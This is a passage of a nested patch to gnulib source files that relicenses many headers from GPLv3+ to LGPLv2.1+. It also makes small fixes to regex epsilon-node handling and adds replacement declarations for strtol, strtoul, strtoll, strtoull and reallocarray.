PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public ++ You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + <https://www.gnu.org/licenses/>. */ + +--- a/gnulib/lib/regex_internal.c ++++ b/gnulib/lib/regex_internal.c +@@ -4,16 +4,16 @@ + Contributed by Isamu Hasegawa <isamu@yamato.ibm.com>. + + The GNU C Library is free software; you can redistribute it and/or +- modify it under the terms of the GNU General Public ++ modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either +- version 3 of the License, or (at your option) any later version. ++ version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public ++ You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + <https://www.gnu.org/licenses/>. */ + +--- a/gnulib/lib/regex_internal.h ++++ b/gnulib/lib/regex_internal.h +@@ -4,16 +4,16 @@ + Contributed by Isamu Hasegawa <isamu@yamato.ibm.com>. + + The GNU C Library is free software; you can redistribute it and/or +- modify it under the terms of the GNU General Public ++ modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either +- version 3 of the License, or (at your option) any later version. ++ version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public ++ You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + <https://www.gnu.org/licenses/>. */ + +--- a/gnulib/lib/regexec.c ++++ b/gnulib/lib/regexec.c +@@ -4,16 +4,16 @@ + Contributed by Isamu Hasegawa <isamu@yamato.ibm.com>. + + The GNU C Library is free software; you can redistribute it and/or +- modify it under the terms of the GNU General Public ++ modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either +- version 3 of the License, or (at your option) any later version. ++ version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public ++ You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + <https://www.gnu.org/licenses/>. */ + +@@ -1220,9 +1220,13 @@ proceed_next_node (const re_match_contex + { + re_node_set *cur_nodes = &mctx->state_log[*pidx]->nodes; + re_node_set *edests = &dfa->edests[node]; +- bool ok = re_node_set_insert (eps_via_nodes, node); +- if (__glibc_unlikely (! ok)) +- return -2; ++ ++ if (! re_node_set_contains (eps_via_nodes, node)) ++ { ++ bool ok = re_node_set_insert (eps_via_nodes, node); ++ if (__glibc_unlikely (! ok)) ++ return -2; ++ } + + /* Pick a valid destination, or return -1 if none is found. */ + Idx dest_node = -1; +@@ -1414,7 +1418,7 @@ set_regs (const regex_t *preg, const re_ + update_regs (dfa, pmatch, prev_idx_match, cur_node, idx, nmatch); + + if ((idx == pmatch[0].rm_eo && cur_node == mctx->last_node) +- || re_node_set_contains (&eps_via_nodes, cur_node)) ++ || (fs && re_node_set_contains (&eps_via_nodes, cur_node))) + { + Idx reg_idx; + cur_node = -1; +--- a/gnulib/lib/setlocale-lock.c ++++ b/gnulib/lib/setlocale-lock.c +@@ -1,17 +1,17 @@ + /* Return the internal lock used by setlocale_null_r. + Copyright (C) 2019-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>, 2019. */ +--- a/gnulib/lib/setlocale_null.c ++++ b/gnulib/lib/setlocale_null.c +@@ -1,17 +1,17 @@ + /* Query the name of the current global locale. + Copyright (C) 2019-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>, 2019. */ +--- a/gnulib/lib/setlocale_null.h ++++ b/gnulib/lib/setlocale_null.h +@@ -1,17 +1,17 @@ + /* Query the name of the current global locale. + Copyright (C) 2019-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>, 2019. */ +--- a/gnulib/lib/size_max.h ++++ b/gnulib/lib/size_max.h +@@ -2,18 +2,18 @@ + Copyright (C) 2005-2006, 2009-2021 Free Software Foundation, Inc. + Written by Simon Josefsson. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef GNULIB_SIZE_MAX_H + #define GNULIB_SIZE_MAX_H +--- a/gnulib/lib/stat-time.c ++++ b/gnulib/lib/stat-time.c +@@ -1,3 +1,21 @@ ++/* stat-related time functions. ++ ++ Copyright (C) 2012-2021 Free Software Foundation, Inc. ++ ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. ++ ++ This file is distributed in the hope that it will be useful, ++ but WITHOUT ANY WARRANTY; without even the implied warranty of ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. ++ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ ++ + #include <config.h> ++ + #define _GL_STAT_TIME_INLINE _GL_EXTERN_INLINE + #include "stat-time.h" +--- a/gnulib/lib/stat-time.h ++++ b/gnulib/lib/stat-time.h +@@ -2,17 +2,17 @@ + + Copyright (C) 2005, 2007, 2009-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Paul Eggert. */ +--- a/gnulib/lib/stat-w32.c ++++ b/gnulib/lib/stat-w32.c +@@ -1,17 +1,17 @@ + /* Core of implementation of fstat and stat for native Windows. + Copyright (C) 2017-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible. */ +--- a/gnulib/lib/stat-w32.h ++++ b/gnulib/lib/stat-w32.h +@@ -1,17 +1,17 @@ + /* Core of implementation of fstat and stat for native Windows. + Copyright (C) 2017-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _STAT_W32_H +--- a/gnulib/lib/stat.c ++++ b/gnulib/lib/stat.c +@@ -1,17 +1,17 @@ + /* Work around platform bugs in stat. + Copyright (C) 2009-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Eric Blake and Bruno Haible. */ +--- a/gnulib/lib/stdarg.in.h ++++ b/gnulib/lib/stdarg.in.h +@@ -1,18 +1,18 @@ + /* Substitute for and wrapper around <stdarg.h>. + Copyright (C) 2008-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _@GUARD_PREFIX@_STDARG_H + +--- a/gnulib/lib/stdbool.in.h ++++ b/gnulib/lib/stdbool.in.h +@@ -1,18 +1,18 @@ + /* Copyright (C) 2001-2003, 2006-2021 Free Software Foundation, Inc. + Written by Bruno Haible <haible@clisp.cons.org>, 2001. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _GL_STDBOOL_H + #define _GL_STDBOOL_H +--- a/gnulib/lib/stddef.in.h ++++ b/gnulib/lib/stddef.in.h +@@ -2,18 +2,18 @@ + + Copyright (C) 2009-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Eric Blake. */ + +--- a/gnulib/lib/stdint.in.h ++++ b/gnulib/lib/stdint.in.h +@@ -2,18 +2,18 @@ + Written by Paul Eggert, Bruno Haible, Sam Steingold, Peter Burwood. + This file is part of gnulib. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* + * ISO C 99 <stdint.h> for platforms that lack it. +@@ -85,7 +85,7 @@ + + /* Override WINT_MIN and WINT_MAX if gnulib's <wchar.h> or <wctype.h> overrides + wint_t. */ +-#if @GNULIB_OVERRIDES_WINT_T@ ++#if @GNULIBHEADERS_OVERRIDE_WINT_T@ + # undef WINT_MIN + # undef WINT_MAX + # define WINT_MIN 0x0U +@@ -598,7 +598,7 @@ typedef int _verify_intmax_size[sizeof ( + /* wint_t limits */ + /* If gnulib's <wchar.h> or <wctype.h> overrides wint_t, @WINT_T_SUFFIX@ is not + accurate, therefore use the definitions from above. */ +-# if !@GNULIB_OVERRIDES_WINT_T@ ++# if !@GNULIBHEADERS_OVERRIDE_WINT_T@ + # undef WINT_MIN + # undef WINT_MAX + # if @HAVE_SIGNED_WINT_T@ +--- a/gnulib/lib/stdio.in.h ++++ b/gnulib/lib/stdio.in.h +@@ -2,18 +2,18 @@ + + Copyright (C) 2004, 2007-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #if __GNUC__ >= 3 + @PRAGMA_SYSTEM_HEADER@ +@@ -242,7 +242,7 @@ _GL_WARN_ON_USE (fclose, "fclose is not + _GL_CXXALIAS_MDA (fcloseall, int, (void)); + # else + # if @HAVE_DECL_FCLOSEALL@ +-# if defined __FreeBSD__ ++# if defined __FreeBSD__ || defined __DragonFly__ + _GL_CXXALIAS_SYS (fcloseall, void, (void)); + # else + _GL_CXXALIAS_SYS (fcloseall, int, (void)); +@@ -1257,6 +1257,7 @@ _GL_CXXALIASWARN (scanf); + # if !(defined __cplusplus && defined GNULIB_NAMESPACE) + # define snprintf rpl_snprintf + # endif ++# define GNULIB_overrides_snprintf 1 + _GL_FUNCDECL_RPL (snprintf, int, + (char *restrict str, size_t size, + const char *restrict format, ...) +@@ -1302,6 +1303,7 @@ _GL_WARN_ON_USE (snprintf, "snprintf is + # if !(defined __cplusplus && defined GNULIB_NAMESPACE) + # define sprintf rpl_sprintf + # endif ++# define GNULIB_overrides_sprintf 1 + _GL_FUNCDECL_RPL (sprintf, int, + (char *restrict str, const char *restrict format, ...) + _GL_ATTRIBUTE_FORMAT_PRINTF_STANDARD (2, 3) +@@ -1369,6 +1371,7 @@ _GL_WARN_ON_USE (tmpfile, "tmpfile is no + # if !(defined __cplusplus && defined GNULIB_NAMESPACE) + # define asprintf rpl_asprintf + # endif ++# define GNULIB_overrides_asprintf + _GL_FUNCDECL_RPL (asprintf, int, + (char **result, const char *format, ...) + _GL_ATTRIBUTE_FORMAT_PRINTF_STANDARD (2, 3) +@@ -1390,6 +1393,7 @@ _GL_CXXALIASWARN (asprintf); + # if !(defined __cplusplus && defined GNULIB_NAMESPACE) + # define vasprintf rpl_vasprintf + # endif ++# define GNULIB_overrides_vasprintf 1 + _GL_FUNCDECL_RPL (vasprintf, int, + (char **result, const char *format, va_list args) + _GL_ATTRIBUTE_FORMAT_PRINTF_STANDARD (2, 0) +@@ -1573,6 +1577,7 @@ _GL_CXXALIASWARN (vscanf); + # if !(defined __cplusplus && defined GNULIB_NAMESPACE) + # define vsnprintf rpl_vsnprintf + # endif ++# define GNULIB_overrides_vsnprintf 1 + _GL_FUNCDECL_RPL (vsnprintf, int, + (char *restrict str, size_t size, + const char *restrict format, va_list args) +@@ -1609,6 +1614,7 @@ _GL_WARN_ON_USE (vsnprintf, "vsnprintf i + # if !(defined __cplusplus && defined GNULIB_NAMESPACE) + # define vsprintf rpl_vsprintf + # endif ++# define GNULIB_overrides_vsprintf 1 + _GL_FUNCDECL_RPL (vsprintf, int, + (char *restrict str, + const char *restrict format, va_list args) +--- a/gnulib/lib/stdlib.in.h ++++ b/gnulib/lib/stdlib.in.h +@@ -2,17 +2,17 @@ + + Copyright (C) 1995, 2001-2004, 2006-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #if __GNUC__ >= 3 +@@ -1032,12 +1032,23 @@ _GL_WARN_ON_USE (realloc, "realloc is no + + + #if @GNULIB_REALLOCARRAY@ +-# if ! @HAVE_REALLOCARRAY@ ++# if @REPLACE_REALLOCARRAY@ ++# if !(defined __cplusplus && defined GNULIB_NAMESPACE) ++# undef reallocarray ++# define reallocarray rpl_reallocarray ++# endif ++_GL_FUNCDECL_RPL (reallocarray, void *, ++ (void *ptr, size_t nmemb, size_t size)); ++_GL_CXXALIAS_RPL (reallocarray, void *, ++ (void *ptr, size_t nmemb, size_t size)); ++# else ++# if ! @HAVE_REALLOCARRAY@ + _GL_FUNCDECL_SYS (reallocarray, void *, + (void *ptr, size_t nmemb, size_t size)); +-# endif ++# endif + _GL_CXXALIAS_SYS (reallocarray, void *, + (void *ptr, size_t nmemb, size_t size)); ++# endif + _GL_CXXALIASWARN (reallocarray); + #elif defined GNULIB_POSIXCHECK + # undef reallocarray +@@ -1202,6 +1213,47 @@ _GL_WARN_ON_USE (strtold, "strtold is un + # endif + #endif + ++#if @GNULIB_STRTOL@ ++/* Parse a signed integer whose textual representation starts at STRING. ++ The integer is expected to be in base BASE (2 <= BASE <= 36); if BASE == 0, ++ it may be decimal or octal (with prefix "0") or hexadecimal (with prefix ++ "0x"). ++ If ENDPTR is not NULL, the address of the first byte after the integer is ++ stored in *ENDPTR. ++ Upon overflow, the return value is LONG_MAX or LONG_MIN, and errno is set ++ to ERANGE. */ ++# if @REPLACE_STRTOL@ ++# if !(defined __cplusplus && defined GNULIB_NAMESPACE) ++# define strtol rpl_strtol ++# endif ++# define GNULIB_defined_strtol_function 1 ++_GL_FUNCDECL_RPL (strtol, long, ++ (const char *restrict string, char **restrict endptr, ++ int base) ++ _GL_ARG_NONNULL ((1))); ++_GL_CXXALIAS_RPL (strtol, long, ++ (const char *restrict string, char **restrict endptr, ++ int base)); ++# else ++# if !@HAVE_STRTOL@ ++_GL_FUNCDECL_SYS (strtol, long, ++ (const char *restrict string, char **restrict endptr, ++ int base) ++ _GL_ARG_NONNULL ((1))); ++# endif ++_GL_CXXALIAS_SYS (strtol, long, ++ (const char *restrict string, char **restrict endptr, ++ int base)); ++# endif ++_GL_CXXALIASWARN (strtol); ++#elif defined GNULIB_POSIXCHECK ++# undef strtol ++# if HAVE_RAW_DECL_STRTOL ++_GL_WARN_ON_USE (strtol, "strtol is unportable - " ++ "use gnulib module strtol for portability"); ++# endif ++#endif ++ + #if @GNULIB_STRTOLL@ + /* Parse a signed integer whose textual representation starts at STRING. + The integer is expected to be in base BASE (2 <= BASE <= 36); if BASE == 0, +@@ -1211,15 +1263,29 @@ _GL_WARN_ON_USE (strtold, "strtold is un + stored in *ENDPTR. + Upon overflow, the return value is LLONG_MAX or LLONG_MIN, and errno is set + to ERANGE. */ +-# if !@HAVE_STRTOLL@ ++# if @REPLACE_STRTOLL@ ++# if !(defined __cplusplus && defined GNULIB_NAMESPACE) ++# define strtoll rpl_strtoll ++# endif ++# define GNULIB_defined_strtoll_function 1 ++_GL_FUNCDECL_RPL (strtoll, long long, ++ (const char *restrict string, char **restrict endptr, ++ int base) ++ _GL_ARG_NONNULL ((1))); ++_GL_CXXALIAS_RPL (strtoll, long long, ++ (const char *restrict string, char **restrict endptr, ++ int base)); ++# else ++# if !@HAVE_STRTOLL@ + _GL_FUNCDECL_SYS (strtoll, long long, + (const char *restrict string, char **restrict endptr, + int base) + _GL_ARG_NONNULL ((1))); +-# endif ++# endif + _GL_CXXALIAS_SYS (strtoll, long long, + (const char *restrict string, char **restrict endptr, + int base)); ++# endif + _GL_CXXALIASWARN (strtoll); + #elif defined GNULIB_POSIXCHECK + # undef strtoll +@@ -1229,6 +1295,46 @@ _GL_WARN_ON_USE (strtoll, "strtoll is un + # endif + #endif + ++#if @GNULIB_STRTOUL@ ++/* Parse an unsigned integer whose textual representation starts at STRING. ++ The integer is expected to be in base BASE (2 <= BASE <= 36); if BASE == 0, ++ it may be decimal or octal (with prefix "0") or hexadecimal (with prefix ++ "0x"). ++ If ENDPTR is not NULL, the address of the first byte after the integer is ++ stored in *ENDPTR. ++ Upon overflow, the return value is ULONG_MAX, and errno is set to ERANGE. */ ++# if @REPLACE_STRTOUL@ ++# if !(defined __cplusplus && defined GNULIB_NAMESPACE) ++# define strtoul rpl_strtoul ++# endif ++# define GNULIB_defined_strtoul_function 1 ++_GL_FUNCDECL_RPL (strtoul, unsigned long, ++ (const char *restrict string, char **restrict endptr, ++ int base) ++ _GL_ARG_NONNULL ((1))); ++_GL_CXXALIAS_RPL (strtoul, unsigned long, ++ (const char *restrict string, char **restrict endptr, ++ int base)); ++# else ++# if !@HAVE_STRTOUL@ ++_GL_FUNCDECL_SYS (strtoul, unsigned long, ++ (const char *restrict string, char **restrict endptr, ++ int base) ++ _GL_ARG_NONNULL ((1))); ++# endif ++_GL_CXXALIAS_SYS (strtoul, unsigned long, ++ (const char *restrict string, char **restrict endptr, ++ int base)); ++# endif ++_GL_CXXALIASWARN (strtoul); ++#elif defined GNULIB_POSIXCHECK ++# undef strtoul ++# if HAVE_RAW_DECL_STRTOUL ++_GL_WARN_ON_USE (strtoul, "strtoul is unportable - " ++ "use gnulib module strtoul for portability"); ++# endif ++#endif ++ + #if @GNULIB_STRTOULL@ + /* Parse an unsigned integer whose textual representation starts at STRING. + The integer is expected to be in base BASE (2 <= BASE <= 36); if BASE == 0, +@@ -1238,15 +1344,29 @@ _GL_WARN_ON_USE (strtoll, "strtoll is un + stored in *ENDPTR. + Upon overflow, the return value is ULLONG_MAX, and errno is set to + ERANGE. */ +-# if !@HAVE_STRTOULL@ ++# if @REPLACE_STRTOULL@ ++# if !(defined __cplusplus && defined GNULIB_NAMESPACE) ++# define strtoull rpl_strtoull ++# endif ++# define GNULIB_defined_strtoull_function 1 ++_GL_FUNCDECL_RPL (strtoull, unsigned long long, ++ (const char *restrict string, char **restrict endptr, ++ int base) ++ _GL_ARG_NONNULL ((1))); ++_GL_CXXALIAS_RPL (strtoull, unsigned long long, ++ (const char *restrict string, char **restrict endptr, ++ int base)); ++# else ++# if !@HAVE_STRTOULL@ + _GL_FUNCDECL_SYS (strtoull, unsigned long long, + (const char *restrict string, char **restrict endptr, + int base) + _GL_ARG_NONNULL ((1))); +-# endif ++# endif + _GL_CXXALIAS_SYS (strtoull, unsigned long long, + (const char *restrict string, char **restrict endptr, + int base)); ++# endif + _GL_CXXALIASWARN (strtoull); + #elif defined GNULIB_POSIXCHECK + # undef strtoull +--- a/gnulib/lib/stpcpy.c ++++ b/gnulib/lib/stpcpy.c +@@ -5,17 +5,17 @@ + NOTE: The canonical source of this file is maintained with the GNU C Library. + Bugs can be reported to bug-glibc@prep.ai.mit.edu. + +- This program is free software: you can redistribute it and/or modify it +- under the terms of the GNU General Public License as published by the +- Free Software Foundation; either version 3 of the License, or any +- later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/str-kmp.h ++++ b/gnulib/lib/str-kmp.h +@@ -3,18 +3,26 @@ + Copyright (C) 2005-2021 Free Software Foundation, Inc. + Written by Bruno Haible <bruno@clisp.org>, 2005. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software. ++ It is dual-licensed under "the GNU LGPLv3+ or the GNU GPLv2+". ++ You can redistribute it and/or modify it under either ++ - the terms of the GNU Lesser General Public License as published ++ by the Free Software Foundation; either version 3, or (at your ++ option) any later version, or ++ - the terms of the GNU General Public License as published by the ++ Free Software Foundation; either version 2, or (at your option) ++ any later version, or ++ - the same dual license "the GNU 